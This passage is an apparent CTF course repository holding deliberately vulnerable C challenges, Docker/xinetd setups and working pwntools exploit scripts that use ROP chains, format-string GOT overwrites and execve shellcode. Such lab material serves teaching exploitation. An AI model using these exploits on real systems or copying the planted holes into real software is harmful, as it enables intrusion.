b'A'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(no_push_rbp_backdoor_addr)) r.interactive() ================================================ FILE: 2021/week1/demo/demo_GOT.c ================================================ #include int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); puts("1. lazy binding"); puts("2. call directly"); return 0; } ================================================ FILE: 2021/week1/demo/demo_GOT.sh ================================================ #!/bin/bash gdb ./demo_GOT -ex 'set exec-wrapper env "LD_PRELOAD=/usr/src/glibc/glibc_dbg/libc.so"' ================================================ FILE: 2021/week1/demo/demo_ROP.c ================================================ #include #include int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); char s[0x10]; printf("Here is your \"/bin/sh\": %p\n", "/bin/sh"); printf("Give me your ROP: "); read(0, s, 0x400); return 0; } ================================================ FILE: 2021/week1/demo/demo_ROP.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./demo_ROP') r.recvuntil('Here is your "/bin/sh": ') binsh = int(r.recvline()[:-1], 16) info(f"binsh: {hex(binsh)}") pop_rdi_ret = 0x40186a # pop rdi ; ret pop_rsi_ret = 0x40f3fe # pop rsi ; ret pop_rdx_ret = 0x40176f # pop rdx ; ret pop_rax_ret = 0x4516b7 # pop rax ; ret syscall = 0x4012d3 # syscall ROP = flat( pop_rdi_ret, binsh, pop_rsi_ret, 0, pop_rdx_ret, 0, pop_rax_ret, 0x3b, syscall, ) gdb.attach(r) r.sendafter("Give me your ROP: ", b'A'*0x18 + ROP) r.interactive() ================================================ FILE: 2021/week1/demo/demo_canary.c ================================================ #include int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); char buf[8]; unsigned long canary = *(unsigned long *)(buf + 8); printf("canary: 0x%016lx\n", canary); return 0; } ================================================ FILE: 2021/week1/demo/demo_canary.sh ================================================ #!/bin/bash gdb ./demo_canary -ex 'set exec-wrapper env "LD_PRELOAD=/usr/src/glibc/glibc_dbg/libc.so"' # pwndbg> tls # pwndbg> canary # pwndbg> search -8 ================================================ FILE: 2021/week1/demo/demo_fmt.c ================================================ #include #include #include int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); char fmt[0x20]; system("echo 'Give me fmt: '"); read(0, fmt, 0x20); printf(fmt); system("echo 'Give me string: '"); read(0, fmt, 0x20); puts(fmt); return 0; } ================================================ FILE: 2021/week1/demo/demo_fmt.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./demo_fmt') puts_got = 0x404018 system_resolve_chain = 0x401050 gdb.attach(r) r.sendafter("Give me string: ", "sh\x00") r.sendafter("Give me fmt: ", b"%80c%8$hhn" + b"AAAAAA" + p64(puts_got)) r.interactive() ================================================ FILE: 2021/week1/demo/demo_one_gadget_with_ROP.c ================================================ #include #include int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); char s[0x10]; printf("Your libc: %p", printf); read(0, s, 0x100); return 0; } ================================================ FILE: 2021/week1/demo/demo_one_gadget_with_ROP.py ================================================ #!/usr/bin/python3 from pwn import * import sys context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./demo_one_gadget_with_ROP') r.recvuntil("Your libc: ") libc = int(r.recv(14), 16) - 0x64e10 info(f"libc: {hex(libc)}") """ 0xe6c84 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL """ gdb.attach(r) pop_rdx_rbx_ret = libc + 0x162866 # pop rdx ; pop rbx ; ret pop_rsi_ret = libc + 0x27529 # pop rsi ; ret if len(sys.argv) > 1: r.send(b'A'*0x18 + p64(pop_rdx_rbx_ret) + p64(0)*2 + p64(pop_rsi_ret) + p64(0) + p64(libc + 0xe6c84)) else: r.send(b'A'*0x18 + p64(libc + 0xe6c84)) r.interactive() ================================================ FILE: 2021/week1/demo/demo_shellcode.c ================================================ #include #include int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); char shellcode[0x30]; printf("Give me shellcode: "); read(0, shellcode, 0x30); ((void(*)(void))shellcode)(); return 0; } ================================================ FILE: 2021/week1/demo/demo_shellcode.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./demo_shellcode') # execve("/bin/sh", 0, 0) sc = asm(""" mov rax, 0x3b xor rsi, rsi xor rdx, rdx mov rdi, 0x68732f6e69622f mov qword ptr [rbp], rdi mov rdi, rbp syscall """) assert(len(sc) <= 0x30) gdb.attach(r) r.sendafter("Give me shellcode: ", sc) r.interactive() ================================================ FILE: 2021/week1/demo/demo_stack_pivoting.c ================================================ #include #include char name[0x80]; int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); char s[0x10]; printf("Give me your name: "); read(0, name, 0x80); printf("Give me your ROP: "); read(0, s, 0x20); return 0; } ================================================ FILE: 2021/week1/demo/demo_stack_pivoting.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./demo_stack_pivoting') new_rsp = 0x4c3300 # name leave_ret = 0x401dd0 # leave ; ret pop_rdi_ret = 0x40186a # pop rdi ; ret pop_rsi_ret = 0x40f40e # pop rsi ; ret pop_rax_ret = 0x4516c7 # pop rax ; ret pop_rdx_ret = 0x40176f # pop rdx ; ret syscall = 0x4012d3 # syscall ROP = b'/bin/sh\x00' ROP += flat( pop_rdi_ret, new_rsp, pop_rsi_ret, 0, pop_rdx_ret, 0, pop_rax_ret, 0x3b, syscall ) r.sendafter("Give me your name: ", ROP) gdb.attach(r) r.sendafter("Give me your ROP: ", b'A'*0x10 + p64(new_rsp) + p64(leave_ret)) r.interactive() ================================================ FILE: 2021/week1/hw/exp/fullchain-nerf.py ================================================ #!/usr/bin/python3 from pwn import * import sys context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] if len(sys.argv) > 1: r = remote('edu-ctf.zoolab.org', 30206) else: r = process('./fullchain-nerf') r.sendlineafter('global or local > ', 'local') r.sendlineafter('set, read or write > ', 'write-%6$p-%19$p') r.recvuntil('write-') data = r.recvuntil('global', drop=True).split(b'-') code = int(data[0], 16) - 0x1670 libc = int(data[1], 16) - 0x270b3 info(f"libc: {hex(libc)}") info(f"code: {hex(code)}") flag_path = code + 0x2093 global_addr = code + 0x40a0 bss = code + 0x4000 rop_pop_rdi_ret = libc + 0x26b72 rop_pop_rsi_ret = libc + 0x27529 rop_pop_rax_ret = libc + 0x4a550 rop_pop_rdx_ret = libc + 0xe4942 rop_pop_rdx_rbx_ret = libc + 0x162866 rop_syscall_ret = libc + 0x66229 rop_leave_ret = libc + 0x5aa48 r.sendline('global') r.sendlineafter('set, read or write > ', 'read') r.sendlineafter('length > ', str(0x60)) # stack pivoting ROP1 = flat( rop_leave_ret, ) # read more ROP ROP2 = flat( rop_pop_rax_ret, 0, rop_pop_rdi_ret, 0, rop_pop_rsi_ret, global_addr + 10*0x8, rop_pop_rdx_rbx_ret, 0x150, 1, rop_syscall_ret, ) # orw ROP3 = flat( rop_pop_rax_ret, 2, rop_pop_rdi_ret, flag_path, rop_pop_rsi_ret, 0, rop_syscall_ret, rop_pop_rax_ret, 0, rop_pop_rdi_ret, 3, rop_pop_rsi_ret, bss, rop_pop_rdx_rbx_ret, 0x30, 1, rop_syscall_ret, rop_pop_rax_ret, 1, rop_pop_rdi_ret, 1, rop_syscall_ret, ) input() r.send(ROP2) r.sendlineafter('global or local > ', 'local') r.sendlineafter('set, read or write > ', 'read') r.sendlineafter('length > ', str(0x60)) r.send(b'\x00'*0x30 + p64(global_addr - 8) + ROP1) input() r.send(ROP3) r.interactive() ================================================ FILE: 2021/week1/hw/exp/fullchain.py ================================================ #!/usr/bin/python3 from pwn import * import sys context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = remote('edu-ctf.zoolab.org', 30201) def _set_loc(loc): r.sendlineafter('global or local > ', loc) def _set(data, _len): r.sendlineafter('set, read or write > ', 'set') r.sendlineafter('data > ', str(data)) r.sendlineafter('length > ', str(_len)) def _set_opt(opt): r.sendlineafter('set, read or write > ', opt) ### leak stack ### ### r1 ### _set_loc('local') _set_opt('write%10$p') r.recvuntil('write') stack = int(r.recv(14), 16) cnt = stack - 0x2c ptr = stack - 0x28 info(f"stack: {hex(stack)}") info(f"cnt: {hex(cnt)}") info(f"ptr: {hex(ptr)}") ### r2 ### _set_loc('local') _set_opt('read') r.sendline(b'\xAA'*0x10 + p64(cnt)[:-1]) ### r3 ### _set_loc('local') _set_opt('write%16$n') # overwrite cnt to 5 ### overwrite cnt to large value ### _set_loc('local') _set_opt('read') r.sendline(b'\xBB'*0x10 + p64(cnt)[:-1]) _set_loc('global') _set_opt('read') r.sendline(b'write%1000c%16$hn') _set_loc('global') _set_opt('write') # overwrite cnt ### leak code ### _set_loc('local') _set_opt('write%11$p') r.recvuntil('write') code = int(r.recv(14), 16) - 0x172d _global = code + 0x40b0 exit_got = code + 0x4070 memset_got = code + 0x4058 printf_got = code + 0x4040 info(f"code: {hex(code)}") ### overwrite exit_got ### _set_loc('local') _set_opt('read') r.sendline(b'\xCC'*0x10 + p64(exit_got)[:-1]) _set_loc('global') _set_opt('read') r.sendline(b'write%21c%16$hhn') _set_loc('global') _set_opt('write') ### overwrite ptr to memset_got to leak + write mprotect address ### _set_loc('local') _set(0xAA, 0x10) _set_loc('local') _set_opt('read') r.sendline(b'\xDD'*0x10 + p64(ptr)[:-1]) _set_loc('global') _set_opt('read') r.sendline(b'write%83c%16$hhn') # ptr: global --> printf_got _set_loc('global') _set_opt('write') _set_loc('owo') _set_opt('write') libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x18ea90 # libc = u64(r.recv(6).ljust(8, b'\x00')) - 0xbf070 # libc = u64(r.recv(6).ljust(8, b'\x00')) mprotect = libc + 0x11bb00 info(f"libc: {hex(libc)}") input() _set_loc('owo') _set_opt('read') r.sendline(p64(mprotect)) # memset --> mprotect ### overwrite ptr to page align and call memset to make page rwx ### _set_loc('local') _set_opt('read') r.sendline(b'\xEE'*0x10 + p64(ptr)[:-1]) _set_loc('global') _set_opt('read') r.sendline(b'write%251c%16$hhn') # global --> page alignment _set_loc('global') _set_opt('write') _set_loc('owo') _set(0x1000, 7) ### overwrite exit_got to global ### _set_loc('local') _set_opt('read') r.sendline(b'\xFF'*0x10 + p64(exit_got)[:-1]) _set_loc('global') _set_opt('read') r.sendline(f'write%{ (_global & 0xffff) - 5 }c%16$hn') _set_loc('global') _set_opt('write') # read(0, global, 0x80) sc = asm(""" xor rax, rax xor rdi, rdi lea rsi, [rip] mov rdx, 0x100 syscall """) # open("/home/fullchain/flag", 0) # read(3, buf, 0x40) # write(1, buf, 0x40) sc2 = asm(f""" mov rax, 0x67616c66 push rax mov rax, 0x2f6e696168636c6c push rax mov rax, 0x75662f656d6f682f push rax mov rdi, rsp mov rsi, 0 mov rax, 2 syscall mov rdi, rax mov rsi, {_global} mov rdx, 0x40 mov rax, 0 syscall mov rdi, 1 mov rax, 1 syscall """) ### write shellcode to global ### _set_loc('global') _set_opt('read') r.sendline(sc) _set_loc('owo') r.sendline(b'\x90'*24 + sc2) r.interactive() ================================================ FILE: 2021/week1/hw/exp/sandbox.py ================================================ #!/usr/bin/python3 from pwn import * import sys context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] if len(sys.argv) > 1: r = remote('edu-ctf.zoolab.org', 30202) else: r = process('./sandbox', env={"LD_PRELOAD": "./libc-2.31.so"}) offset_write = 0x1111e7 _system = 0x55410 sh = 0x1b75aa sc = asm(f""" mov rax, 123 syscall mov rax, {offset_write} sub rcx, rax mov rdi, {sh} add rdi, rcx mov rax, {_system} add rax, rcx push 0 push rax ret """) r.send(sc) r.interactive() ================================================ FILE: 2021/week1/hw/fullchain/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m fullchain RUN chown -R root:root /home/fullchain RUN chmod -R 755 /home/fullchain CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2021/week1/hw/fullchain/docker-compose.yml ================================================ version: '3' services: fullchain: build: ./ volumes: - ./share:/home/fullchain:ro - ./xinetd:/etc/xinetd.d/fullchain:ro ports: - "30201:30201" expose: - "30201" ================================================ FILE: 2021/week1/hw/fullchain/share/Makefile ================================================ all: gcc -g -fstack-protector-all -z lazy -o fullchain fullchain.c -lseccomp ================================================ FILE: 2021/week1/hw/fullchain/share/flag ================================================ FLAG{test} ================================================ FILE: 2021/week1/hw/fullchain/share/fullchain.c ================================================ #include #include #include #include #include char global[0x10]; void setup_seccomp() { scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mmap), 0); seccomp_load(ctx); seccomp_release(ctx); char dummy[0x1000] = {0}; } void myset(char *addr) { int c; size_t len; printf("data > "); scanf("%d", &c); printf("length > "); scanf("%lu", &len); if (len > 0x10) { puts("Too more"); return; } memset(addr, c, len); } void myread(char *addr) { scanf("%24s", addr); } void mywrite(char *addr) { printf(addr); } void chal() { char local[0x10] = {0}; char *ptr = NULL; int cnt = 3; while (cnt--) { printf("global or local > "); scanf("%10s", local); if (!strncmp("local", local, 5)) ptr = local; else if (!strncmp("global", local, 6)) ptr = global; else exit(1); printf("set, read or write > "); scanf("%10s", local); if (!strncmp("set", local, 3)) myset(ptr); else if (!strncmp("read", local, 4)) myread(ptr); else if (!strncmp("write", local, 5)) mywrite(ptr); else exit(1); } puts("Bye ~"); exit(1); } int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); setup_seccomp(); char buf[0x10]; memset(buf, 0, 0x1000); chal(); } ================================================ FILE: 2021/week1/hw/fullchain/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/fullchain/fullchain ================================================ FILE: 2021/week1/hw/fullchain/xinetd ================================================ service fullchain { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/fullchain/run.sh user = fullchain port = 30201 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2021/week1/hw/fullchain-nerf/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m fullchain-nerf RUN chown -R root:root /home/fullchain-nerf RUN chmod -R 755 /home/fullchain-nerf CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2021/week1/hw/fullchain-nerf/docker-compose.yml ================================================ version: '3' services: fullchain-nerf: build: ./ volumes: - ./share:/home/fullchain-nerf:ro - ./xinetd:/etc/xinetd.d/fullchain-nerf:ro ports: - "30206:30206" expose: - "30206" ================================================ FILE: 2021/week1/hw/fullchain-nerf/share/Makefile ================================================ all: gcc -g -fno-stack-protector -z lazy -o fullchain-nerf fullchain-nerf.c -lseccomp ================================================ FILE: 2021/week1/hw/fullchain-nerf/share/flag ================================================ FLAG{test} ================================================ FILE: 2021/week1/hw/fullchain-nerf/share/fullchain-nerf.c ================================================ #include #include #include #include #include char global[0x20]; void setup_seccomp() { scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mmap), 0); seccomp_load(ctx); seccomp_release(ctx); } void myread(char *addr) { size_t len; printf("length > "); scanf("%lu", &len); if (len > 0x60) { puts("Too much"); return; } read(0, addr, len); } void mywrite(char *addr) { printf(addr); // fmt } void chal() { char local[0x20] = {0}; // overflow char *ptr = NULL; int cnt = 3; while (cnt--) { printf("global or local > "); scanf("%16s", local); if (!strncmp("local", local, 5)) ptr = local; else if (!strncmp("global", local, 6)) ptr = global; else exit(1); printf("set, read or write > "); scanf("%16s", local); if (!strncmp("set", local, 3)) puts("not implement !"); else if (!strncmp("read", local, 4)) myread(ptr); else if (!strncmp("write", local, 5)) mywrite(ptr); else exit(1); } puts("Bye ~"); } int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); setup_seccomp(); puts("[*] Flag is in the /home/fullchain-nerf/flag"); chal(); } ================================================ FILE: 2021/week1/hw/fullchain-nerf/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/fullchain-nerf/fullchain-nerf ================================================ FILE: 2021/week1/hw/fullchain-nerf/xinetd ================================================ service fullchain-nerf { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/fullchain-nerf/run.sh user = fullchain-nerf port = 30206 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2021/week1/hw/sandbox/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m sandbox RUN chown -R root:root /home/sandbox RUN chmod -R 755 /home/sandbox CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2021/week1/hw/sandbox/docker-compose.yml ================================================ version: '3' services: sandbox: build: ./ volumes: - ./share:/home/sandbox:ro - ./xinetd:/etc/xinetd.d/sandbox:ro ports: - "30202:30202" expose: - "30202" ================================================ FILE: 2021/week1/hw/sandbox/share/Makefile ================================================ all: gcc -g -o sandbox sandbox.c ================================================ FILE: 2021/week1/hw/sandbox/share/flag ================================================ FLAG{test} ================================================ FILE: 2021/week1/hw/sandbox/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/sandbox/sandbox ================================================ FILE: 2021/week1/hw/sandbox/share/sandbox.c ================================================ #include #include #include #include #include struct _Register { unsigned long rax; unsigned long rbx; unsigned long rcx; unsigned long rdx; unsigned long rdi; unsigned long rsi; unsigned long r8; unsigned long r9; unsigned long r10; unsigned long r11; unsigned long r12; unsigned long r13; unsigned long r14; unsigned long r15; } regs; #define SET_REGENV() do { \ asm(".intel_syntax noprefix"); \ asm("xor rax, rax"); \ asm("xor rbx, rbx"); \ asm("xor rcx, rcx"); \ asm("xor rdx, rdx"); \ asm("xor rdi, rdi"); \ asm("xor rsi, rsi"); \ asm("xor r8, r8"); \ asm("xor r9, r9"); \ asm("xor r10, r10"); \ asm("xor r11, r11"); \ asm("xor r12, r12"); \ asm("xor r13, r13"); \ asm("xor r14, r14"); \ asm("xor r15, r15"); \ asm(".att_syntax noprefix"); \ } while (0) #define UPDATE_REGS() do { \ asm("mov %%rax, %0\n" : "=r"(regs.rax)); \ asm("mov %%rbx, %0\n" : "=r"(regs.rbx)); \ asm("mov %%rcx, %0\n" : "=r"(regs.rcx)); \ asm("mov %%rdx, %0\n" : "=r"(regs.rdx)); \ asm("mov %%rdi, %0\n" : "=r"(regs.rdi)); \ asm("mov %%rsi, %0\n" : "=r"(regs.rsi)); \ asm("mov %%r8, %0\n" : "=r"(regs.r8)); \ asm("mov %%r9, %0\n" : "=r"(regs.r9)); \ asm("mov %%r10, %0\n" : "=r"(regs.r10)); \ asm("mov %%r11, %0\n" : "=r"(regs.r11)); \ asm("mov %%r12, %0\n" : "=r"(regs.r12)); \ asm("mov %%r13, %0\n" : "=r"(regs.r13)); \ asm("mov %%r14, %0\n" : "=r"(regs.r14)); \ asm("mov %%r15, %0\n" : "=r"(regs.r15)); \ } while (0) const char epilogue[] = "H\xc7\xc0<\x00\x00\x00\x0f\x05"; // sys_exit const char syscall_pattern[] = "\x0f\x05"; const char mov_r8_prefix[] = "I\xb8"; const char call_r8[] = "A\xff\xd0"; const char *regs_str[] = { "rax", "rbx", "rcx", "rdx", "rdi", "rsi", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15"}; const char *call_reg_patterns[] = { "\xff\xd0", "\xff\xd3", "\xff\xd1", "\xff\xd2", "\xff\xd7", "\xff\xd6", "A\xff\xd0", "A\xff\xd1", "A\xff\xd2", "A\xff\xd3", "A\xff\xd4", "A\xff\xd5", "A\xff\xd6", "A\xff\xd7", }; #define REG_CNT (sizeof(regs_str) / sizeof(regs_str[0])) void syscall_monitor() { UPDATE_REGS(); if (regs.rax == 60) { printf("[sys_exit] rdi: 0x%lx, rsi: 0x%lx, rdx: 0x%lx\n", regs.rdi, regs.rsi, regs.rdx); exit(regs.rdi); } else { write(1, "Disallow !!\n", 12); } } void call_reg_monitor() { write(1, "Disallow !!\n", 12); } void jmp_func(char *sc, int *idx, unsigned long func) { memcpy(sc + *idx, mov_r8_prefix, sizeof(mov_r8_prefix)-1); *idx += sizeof(mov_r8_prefix)-1; memcpy(sc + *idx, &func, 8); *idx += 8; memcpy(sc + *idx, call_r8, sizeof(call_r8)-1); *idx += sizeof(call_r8)-1; } int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); char *new_code_buf, *stack; int nr, sc_idx, new_code_idx; char shellcode[0x280] = {0}; char prologue[20]; stack = (char *) mmap((void *) 0x30000, 0x8000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0) + 0x4000; new_code_buf = (char *) mmap((void *) 0x40000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0); memcpy(prologue+0, "H\xbc", 2); memcpy(prologue+2, &stack, 8); memcpy(prologue+10, "H\xbd", 2); memcpy(prologue+12, &stack, 8); nr = read(0, shellcode, 0x200); sc_idx = new_code_idx = 0; // ****** instrumentation ****** memcpy(new_code_buf, prologue, sizeof(prologue)); new_code_idx += sizeof(prologue); while (sc_idx < nr) { // syscall if (!memcmp(shellcode+sc_idx, syscall_pattern, sizeof(syscall_pattern)-1)) { jmp_func(new_code_buf, &new_code_idx, (unsigned long) syscall_monitor); sc_idx += sizeof(syscall_pattern)-1; continue; } // call int i = 0; for (; i < REG_CNT; i++) { if (!memcmp(shellcode+sc_idx, call_reg_patterns[i], strlen(call_reg_patterns[i]))) { jmp_func(new_code_buf, &new_code_idx, (unsigned long) call_reg_monitor); sc_idx += strlen(call_reg_patterns[i]); break; } } if (i < REG_CNT) continue; // normal insn new_code_buf[new_code_idx++] = shellcode[sc_idx++]; } memcpy(new_code_buf+new_code_idx, epilogue, sizeof(epilogue)-1); new_code_idx += sizeof(epilogue)-1; mprotect(new_code_buf, 0x1000, PROT_READ | PROT_EXEC); SET_REGENV(); ( (void (*)(void)) (new_code_buf) )(); return 0; } ================================================ FILE: 2021/week1/hw/sandbox/xinetd ================================================ service sandbox { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/sandbox/run.sh user = sandbox port = 30202 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2021/week1/lab/Got2win/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m got2win RUN chown -R root:root /home/got2win RUN chmod -R 755 /home/got2win CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2021/week1/lab/Got2win/docker-compose.yml ================================================ version: '3' services: got2win: build: ./ volumes: - ./share:/home/got2win:ro - ./xinetd:/etc/xinetd.d/got2win:ro ports: - "30203:30203" expose: - "30203" ================================================ FILE: 2021/week1/lab/Got2win/share/Makefile ================================================ all: gcc -g -no-pie -o got2win got2win.c ================================================ FILE: 2021/week1/lab/Got2win/share/flag ================================================ FLAG{test} ================================================ FILE: 2021/week1/lab/Got2win/share/got2win.c ================================================ #include #include #include #include char flag[0x30]; int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); int fd = open("/home/got2win/flag", O_RDONLY); read(fd, flag, 0x30); close(fd); write(1, "Good luck !\n", 13); unsigned long addr = 0; printf("Overwrite addr: "); scanf("%lu", &addr); printf("Overwrite 8 bytes value: "); read(0, (void *) addr, 0x8); printf("Give me fake flag: "); int nr = read(1, flag, 0x30); if (nr <= 0) exit(1); flag[nr - 1] = '\0'; printf("This is your flag: ctf{%s}... Just kidding :)\n", flag); return 0; } ================================================ FILE: 2021/week1/lab/Got2win/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/got2win/got2win ================================================ FILE: 2021/week1/lab/Got2win/xinetd ================================================ service got2win { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/got2win/run.sh user = got2win port = 30203 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2021/week1/lab/Rop2win/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m rop2win RUN chown -R root:root /home/rop2win RUN chmod -R 755 /home/rop2win CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2021/week1/lab/Rop2win/docker-compose.yml ================================================ version: '3' services: rop2win: build: ./ volumes: - ./share:/home/rop2win:ro - ./xinetd:/etc/xinetd.d/rop2win:ro ports: - "30204:30204" expose: - "30204" ================================================ FILE: 2021/week1/lab/Rop2win/share/Makefile ================================================ all: gcc -g -no-pie -static -fno-stack-protector -o rop2win rop2win.c -lseccomp ================================================ FILE: 2021/week1/lab/Rop2win/share/flag ================================================ FLAG{test} ================================================ FILE: 2021/week1/lab/Rop2win/share/rop2win.c ================================================ #include #include #include char fn[0x20]; char ROP[0x100]; // fd = open("flag", 0); // read(fd, buf, 0x30); // write(1, buf, 0x30); // 1 --> stdout int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_load(ctx); seccomp_release(ctx); printf("Give me filename: "); read(0, fn, 0x20); printf("Give me ROP: "); read(0, ROP, 0x100); char overflow[0x10]; printf("Give me overflow: "); read(0, overflow, 0x30); return 0; } ================================================ FILE: 2021/week1/lab/Rop2win/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/rop2win/rop2win ================================================ FILE: 2021/week1/lab/Rop2win/xinetd ================================================ service rop2win { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/rop2win/run.sh user = rop2win port = 30204 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2021/week1/lab/exp/Got2win.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = remote('edu-ctf.zoolab.org', 30203) read_got = 0x404038 write_plt = 0x4010c0 r.sendlineafter('Overwrite addr: ', str(read_got)) r.sendafter('Overwrite 8 bytes value: ', p64(write_plt)) r.interactive() ================================================ FILE: 2021/week1/lab/exp/Rop2win.py ================================================ #!/usr/bin/python3 from pwn import * import sys context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = remote('edu-ctf.zoolab.org', 30204) ROP_addr = 0x4df360 fn = 0x4df460 pop_rdi_ret = 0x40186a # pop rdi ; ret pop_rsi_ret = 0x4028a8 # pop rsi ; ret pop_rdx_ret = 0x40176f # pop rdx ; ret pop_rax_ret = 0x4607e7 # pop rax ; ret syscall_ret = 0x42cea4 # syscall ; ret leave_ret = 0x401ebd # leave ; ret ROP = flat( pop_rdi_ret, fn, pop_rsi_ret, 0, pop_rax_ret, 2, syscall_ret, pop_rdi_ret, 3, pop_rsi_ret, fn, pop_rdx_ret, 0x30, pop_rax_ret, 0, syscall_ret, pop_rdi_ret, 1, pop_rax_ret, 1, syscall_ret, ) ROP_bad = flat( pop_rdi_ret, fn, pop_rsi_ret, 0, pop_rdx_ret, 0, pop_rax_ret, 0x3b, syscall_ret, ) r.sendafter('Give me filename: ', '/home/rop2win/flag\x00') r.sendafter('Give me ROP: ', 